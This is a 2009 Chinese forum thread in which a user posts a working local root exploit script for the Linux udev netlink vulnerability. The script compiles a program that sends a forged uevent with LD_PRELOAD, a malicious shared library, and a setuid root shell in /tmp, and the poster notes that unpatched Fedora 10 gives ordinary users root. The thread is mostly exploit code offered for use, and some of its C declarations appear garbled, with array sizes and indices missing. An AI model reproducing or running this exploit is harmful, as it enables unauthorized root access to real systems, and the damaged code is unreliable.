BOoRFGOnZ 发表于 2009-4-24 14:36:38

udev exploit

#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c <<EOF
_EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0

int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;

main(int argc, char **argv) {
      char sysfspath;
      char subsystem;
      char event;
      char major;
      char minor;

      sprintf(event, "add");
      sprintf(subsystem, "block");
      sprintf(sysfspath, "/dev/foo");
      sprintf(major, "8");
      sprintf(minor, "1");

      memset(&address, 0, sizeof(address));
      address.nl_family = AF_NETLINK;
      address.nl_pid = atoi(argv);
      address.nl_groups = 0;

      msg.msg_name = (void*)&address;
      msg.msg_namelen = sizeof(address);
      msg.msg_iov = &iovector;
      msg.msg_iovlen = 1;

      socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
      bind(socket_fd, (struct sockaddr *) &address, sizeof(address));

      char message;
      char *mp;

      mp = message;
      mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
      mp += sprintf(mp, "ACTION=%s", event) +1;
      mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
      mp += sprintf(mp, "MAJOR=%s", major) +1;
      mp += sprintf(mp, "MINOR=%s", minor) +1;
      mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
      mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

      iovector.iov_base = (void*)message;
      iovector.iov_len = (int)(mp-message);

      char *buf;
      int buflen;
      buf = (char *) &msg;
      buflen = (int)(mp-message);

      sendmsg(socket_fd, &msg, 0);

      close(socket_fd);

        sleep(10);
        execl("/tmp/suid", "suid", (void*)0);
}

_EOF
gcc udev.c -o /tmp/udev
cat > program.c <<EOF
_EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c <<EOF
_EOF
int main(void) {
       setgid(0); setuid(0);
       execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1


fc10没有升级udev，普通用户可获得root权限

[ 本帖最后由 BOoRFGOnZ 于 2009-4-24 14:43 编辑 ]

npcomet 发表于 2009-4-24 20:45:11

呵呵 速度好快
页: [1]
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